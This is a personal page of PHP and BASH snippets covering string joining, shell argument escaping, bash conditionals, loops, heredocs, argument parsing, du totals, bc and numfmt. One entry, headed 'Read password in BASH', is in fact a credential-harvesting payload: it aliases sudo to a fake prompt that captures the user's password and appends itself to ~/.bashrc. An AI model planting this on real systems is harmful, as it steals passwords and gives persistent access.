John's hacks
I decided I might start documenting some hacks I've come across in my travels which I think are neat. You might also be interested in John's Linux page.
Some things I use all the time but can never remember:
PHP
Removing last comma in PHP
Sometimes you're processing a list to build a string and you want a comma after all items except the last one. You can do that like this:
// 2020-04-14 jj5 - it's important to handle this case... // if ( count( $list ) === 0 ) { return 'list is empty'; } $result = 'my list: '; $is_first = true; foreach ( $list as $item ) { if ( $is_first ) { $is_first = false; } else { $result .= ', '; } $result .= $item; } return $result . '.';
But that can be simplified like this:
// 2020-04-14 jj5 - it's important to handle this case... // if ( count( $list ) === 0 ) { return 'list is empty'; } $result = 'my list: '; foreach ( $list as $item ) { $result .= "$item, "; } // 2020-04-14 jj5 - the neat hack is dropping the last two characters here... // return substr( $result, 0, -2 ) . '.';
Although the whole thing can often (but not always) be simplified as something like this (you might also need to check for an empty list):
return 'my list: ' . implode( ', ', $list ) . '.';
Passing shell args in PHP
Put your args in $args and use escapeshellarg() to escape them...
$args = join( ' ', array_map( 'escapeshellarg', $args ) ); exec( "$program $args" );
PHP sydtime timestamp
$timestamp = date( 'Y-m-d-His' );
BASH
BASH conditionals
- string
- -z string: length of string 0
- -n string: length of string not 0
- string1 = string2: strings are identical (note a single =)
- numeric
- int1 -eq int2: first int equal to second
- -ne, -gt, -ge, -lt, -le: not-equal, greater-than, -greater-or-equal...
- file
- -r filename: file exists and is readable
- -w filename: file exists and is writable
- -f, -d, -s: regular file, directory, exists and not empty
- logic
- !, -a, -o: negate, logical and, logical or
BASH loops
- Basic structure (three forms):
for i in {0..9}; do echo $i; done for ((i=0;i<10;i++)){ echo $i;} #C-like for var in list; do command; done #'python-like'
- often used with command substitution:
for i in $(\ls -1 *.txt); do echo "$i"; done for i in $(get_files.sh); do upload.sh "$i"; done
BASH heredoc
cat << EOF > output.txt a b c EOF
cat << EOF | process.sh a b c EOF
process.sh << EOF a b c EOF
bash << EOF echo "Hello, world." EOF
Configuring BASH for safety
Use:
set -euo pipefail
You might also like:
shopt -s nullglob
Reading command-line args in BASH
For example:
local args=(); while [[ "$#" > 0 ]]; do args+=( "$1" ); shift; done;
Or like this:
# 2017-07-19 jj5 - set our default options... local eg_opt_1='default'; local eg_opt_2='default'; local eg_opt_flag=0; # 2017-07-19 jj5 - parse our command-line options... while [[ "$#" > 0 ]]; do case "$1" in --eg-opt-1) eg_opt_1="$2"; shift; shift;; --eg-opt-2) eg_opt_2="$2"; shift; shift;; --eg-opt-flag) eg_opt_flag=1; shift;; --) break;; *) break;; esac; done;
Passing shell args in BASH
As can be seen for example here.
local args=(); args+=( --human-readable ); args+=( --acls --xattrs ); args+=( --recursive --del --force ); args+=( --times --executability --perms ); args+=( --links --hard-links --sparse ); args+=( --numeric-ids --owner --group ); args+=( --compress-level=6 ); whatever "${args[@]}";
Numeric if statements in BASH
if (( a == 1 )); then ...; fi if (( a > 0 && a <= 2 )); then ...; fi if (( a > 0 && a <= 3 )); then ...; fi if (( a == 4 )); then ...; fi
Finding next available log file in BASH
local i=1; while true; do local log=/var/tmp/whatever.sh.log.$i [ ! -f "$log" ] && break; i=$(( i + 1 )); done;
Totaling file size from 'du' with human readable output
To print the total size of *.tgz files in $PWD...
du *.tgz | awk '{sum += $1} END {print sum}' | awk '{total = $1/1024/1024; print total "GB"}'
Or with rounding:
du *.tgz | awk '{sum += $1} END {print sum}' | awk '{total = $1/1024/1024; printf "%3.0fGB\n", total}'
Read password in BASH
This fake_sudo (taken from here) demonstrates how to read a password in BASH:
# Create payload: replace sudo with an alias payload=' fake_sudo() { # Simulate a sudo prompt echo -n "[sudo] password for ${USER}: " read -s password echo # Run your command so you are happy echo "$password" | sudo -S "$@" # Do my evil stuff with your password echo "Done with your command, now I could use $password to do what I want" } alias sudo=fake_sudo ' # Write the payload to the bashrc config file echo "$payload" >> ~/.bashrc
Listing shebangs for perl scripts
This one from Jedd:
( for i in `file * | grep -i perl | awk -F':' '{print $1}'`; do head -1 ${i}; done ) | sort | uniq -c
bc
Basic calculation with bc
bc <<< 48+36
Decimal to hex with bc
echo 'obase=16; ibase=10; 56' | bc
Arbitrary precision with bc
echo 'scale=8; 60/7.02' | bc
numfmt
Format number in SI units
numf numfmt --to=si 1000 1.0K
Convert number from IEC format
numfmt --from=iec 1K 1024
shuf
Generate a random number using shuf
shuf -i 1-100 -n 1